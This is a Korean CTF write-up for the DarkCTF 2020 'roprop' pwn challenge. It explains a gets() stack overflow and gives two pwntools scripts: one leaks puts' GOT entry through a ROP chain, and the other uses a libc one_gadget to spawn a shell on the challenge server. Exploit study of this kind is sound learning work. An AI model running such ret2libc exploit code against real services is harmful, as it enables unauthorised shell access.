pwnable 분야의 첫번째 문제 roprop 이다.

(write up을 작성하는 시점에서 서버가 닫혀있어 설명하는데 지장이...)

 

Checksec

ubuntu:~/environment/ctf/DarkCTF/pwn/01_rop $ checksec roprop
[*] '/home/ubuntu/environment/ctf/DarkCTF/pwn/01_rop/roprop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

 

 

 

Analyze

바이러니는 `main` 함수만 정의 되어 있다. `gets()` 함수에서 `BOF` 공격이 가능한 것을 볼 수 있다.

 

 

우선 `libc address` 를 얻기 위해 `puts()` 함수의 `GOT`를 leak 한다. 아래 코드로 `puts()` 함수의 `GOT`를 leak 한뒤,

libc database 사이트에서 libc 파일을 다운 받는다.

from pwn import *

p = remote("roprop.darkarmy.xyz", "5002")
e = ELF("./roprop", checksec=False)

payload = "A" * 0x58
payload += p64(0x400963)    # pop rdi; ret
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendlineafter("19's.", payload)

puts_got = u64(p.recvuntil("\x7f\x0a").replace("\x0a", "").ljust(8, "\x00"))

print("[*] puts_get: "+hex(puts_got))

p.interactive()

 

 

 

libc database 사이트에서 다운받은 파일로 `one_gadget` 툴을 사용하여 `oneshot gadget offset`을 획득한다.

아래 사진처럼 3개의 offset이 출력 된 것을 볼 수 있다.

 

 

 

위 `oneshot gadget` 3개 중 아무거나 입력하여 `ret`에 overwrite 하면 shell이 실행된다.

from pwn import *
import gdb_attach

p = remote("roprop.darkarmy.xyz", "5002")
e = ELF("./roprop", checksec=False)
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so",checksec=False)

payload = "A" * 0x58
payload += p64(0x400963)    # pop rdi; ret
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendlineafter("19's.", payload)

puts_got = u64(p.recvuntil("\x7f\x0a").replace("\x0a", "").ljust(8, "\x00"))
libc_base = puts_got - l.symbols["puts"]
one_gadget = libc_base + 0x4f365

print("[*] puts_get: "+hex(puts_got))
print("[*] libc_base: "+hex(libc_base))

payload = "A" * 0x58
payload += p64(one_gadget)

p.sendlineafter("19's.", payload)

p.interactive()

 

 

'CTF > DarkCTF' 카테고리의 다른 글

[DarkCTF 2020] web write up  (0) 2020.09.27
[DarkCTF 2020] newPaX write up  (0) 2020.09.27
[DarkCTF 2020] rop write up  (0) 2020.09.27